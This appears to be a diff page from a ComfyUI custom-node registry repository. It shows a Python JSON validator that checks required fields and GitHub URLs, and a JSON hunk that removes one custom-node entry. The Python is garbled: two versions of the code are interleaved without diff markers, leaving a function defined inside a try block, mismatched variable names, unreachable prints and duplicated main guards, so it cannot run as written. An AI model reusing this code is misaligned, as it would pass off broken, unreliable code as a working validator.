entry_index: Index of entry in array (for error reporting)
required_fields: List of required field names
Returns:
List of error messages (empty if valid)
"""
errors = []
# Check required fields
errors.extend(validate_required_fields(entry, entry_index, required_fields))
# Check git repository URLs
errors.extend(validate_git_repo_urls(entry, entry_index))
return errors
def validate_json_file(file_path: str) -> Tuple[bool, List[str]]:
"""Validate JSON file containing entries
Args:
file_path: Path to JSON file
Returns:
Tuple of (is_valid, error_messages)
"""
errors = []
# Check file exists
path = Path(file_path)
if not path.exists():
return False, [f"File not found: {file_path}"]
# Load JSON
def check_json_syntax(file_path):
try:
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
with open(file_path, 'r', encoding='utf-8') as file:
json_str = file.read()
json.loads(json_str)
print(f"[ OK ] {file_path}")
except UnicodeDecodeError as e:
print(f"Unicode decode error: {e}")
except json.JSONDecodeError as e:
return False, [f"Invalid JSON: {e}"]
except Exception as e:
return False, [f"Error reading file: {e}"]
# Determine required fields based on JSON content
required_fields = []
# Validate structure - support both array and object formats
entries_to_validate = []
if isinstance(data, list):
# Direct array format: [{...}, {...}]
entries_to_validate = data
elif isinstance(data, dict):
# Object format: {"custom_nodes": [...]} or {"models": [...]}
# Determine validation based on keys
if 'custom_nodes' in data and isinstance(data['custom_nodes'], list):
required_fields = REQUIRED_FIELDS_CUSTOM_NODE
entries_to_validate = data['custom_nodes']
elif 'models' in data and isinstance(data['models'], list):
required_fields = REQUIRED_FIELDS_MODEL
entries_to_validate = data['models']
else:
# Other JSON structures (extension-node-map.json, etc.) - just validate JSON syntax
return True, []
else:
return False, ["JSON root must be either an array or an object containing arrays"]
# Validate each entry
for idx, entry in enumerate(entries_to_validate, start=1):
if not isinstance(entry, dict):
# Show actual value for type errors
entry_str = json.dumps(entry, ensure_ascii=False) if not isinstance(entry, str) else repr(entry)
if len(entry_str) > 150:
entry_str = entry_str[:150] + "..."
errors.append(f"\n❌ Entry #{idx}: Must be an object, got {type(entry).__name__}")
errors.append(f" Actual value: {entry_str}")
continue
entry_errors = validate_entry(entry, idx, required_fields)
if entry_errors:
# Group errors by entry with context
context = get_entry_context(entry)
errors.append(f"\n❌ Entry #{idx} ({context}):")
for error in entry_errors:
errors.append(f" - {error}")
is_valid = len(errors) == 0
return is_valid, errors
print(f"[FAIL] {file_path}\n\n {e}\n")
except FileNotFoundError:
print(f"[FAIL] {file_path}\n\n File not found\n")
def main():
"""Main entry point"""
if len(sys.argv) < 2:
print("Usage: python json-checker.py <json-file>")
print("\nValidates JSON entries based on content:")
print(" - {\"custom_nodes\": [...]}: Validates required fields (author, title, reference, files, install_type, description)")
print(" - {\"models\": [...]}: Validates JSON syntax only (no required fields)")
print(" - Other JSON structures: Validates JSON syntax only")
print("\nGit repo URL validation (for custom_nodes):")
print(" - URLs must NOT end with .git")
print(" - URLs must follow: https://github.com/{author}/{reponame}")
sys.exit(1)
parser = argparse.ArgumentParser(description="JSON File Syntax Checker")
parser.add_argument("file_path", type=str, help="Path to the JSON file for syntax checking")
file_path = sys.argv[1]
args = parser.parse_args()
check_json_syntax(args.file_path)
is_valid, errors = validate_json_file(file_path)
if is_valid:
print(f"{file_path}: Validation passed")
sys.exit(0)
else:
print(f"Validating: {file_path}")
print("=" * 60)
print("❌ Validation failed!\n")
print("Errors:")
# Count actual errors (lines starting with " -")
error_count = sum(1 for e in errors if e.strip().startswith('-'))
for error in errors:
# Don't add ❌ prefix to grouped entries (they already have it)
if error.strip().startswith(''):
print(error)
else:
print(error)
print(f"\nTotal errors: {error_count}")
sys.exit(1)
if __name__ == '__main__':
if __name__ == "__main__":
main()
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+1521 -2961
View File
File diff suppressed because it is too large Load Diff
-10
View File
@@ -1,15 +1,5 @@
{
"custom_nodes": [
{
"author": "Fossiel",
"title": "ComfyUI-MultiGPU-Patched",
"reference": "https://github.com/Fossiel/ComfyUI-MultiGPU-Patched",
"files": [
"https://github.com/Fossiel/ComfyUI-MultiGPU-Patched"
],
"install_type": "git-clone",
"description": "Patched fork of ComfyUI-MultiGPU providing universal .safetensors and GGUF multi-GPU distribution with DisTorch 2.0 engine, model-driven allocation options (bytes/ratio modes), WanVideoWrapper integration, and up to 10% faster GGUF inference. (Description by CC)"
},
{
"author": "synchronicity-labs",
"title": "ComfyUI Sync Lipsync Node",
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More